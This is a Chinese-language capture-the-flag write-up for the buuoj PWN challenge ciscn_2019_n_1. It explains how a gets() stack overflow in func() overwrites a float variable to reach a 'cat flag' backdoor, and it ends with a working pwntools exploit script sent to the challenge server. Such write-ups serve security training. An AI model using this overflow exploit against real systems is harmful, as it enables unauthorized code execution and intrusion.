题目(四):
【题型】PWN
【题目】ciscn_2019_n_1
【来源】(buuoj)https://buuoj.cn/challenges#ciscn_2019_n_1
【思路】通过栈溢出使v2达到某个值实行后门函数
【具体步骤】
Step1:checksec一下文件,发现是一个64位的NX打开的程序。
Step2:将文件放到IDApro下进行静态调试。
Step3:看到main函数,查看伪代码(F5,如果键被占用,Fn+F5),然后发现有一个函数叫做func(),进入这个函数。
Step4:查看函数,发现有一个gets()函数,栈的大小只有44,但是v1,点进去查看有0x30-0x4,又因为当v2=11.28125会有cat flag这个后门,所以只要让v1栈溢出可以使v2的值改变。计算11.28125的十六进制为0x41348000.
Step5:编写exp,得到flag。
源码为:
from pwn import *
p=remote("node4.buuoj.cn",27628)
ans=0x41348000
payload=b'a'*44+p64(ans)
p.sendline(payload)
p.interactive()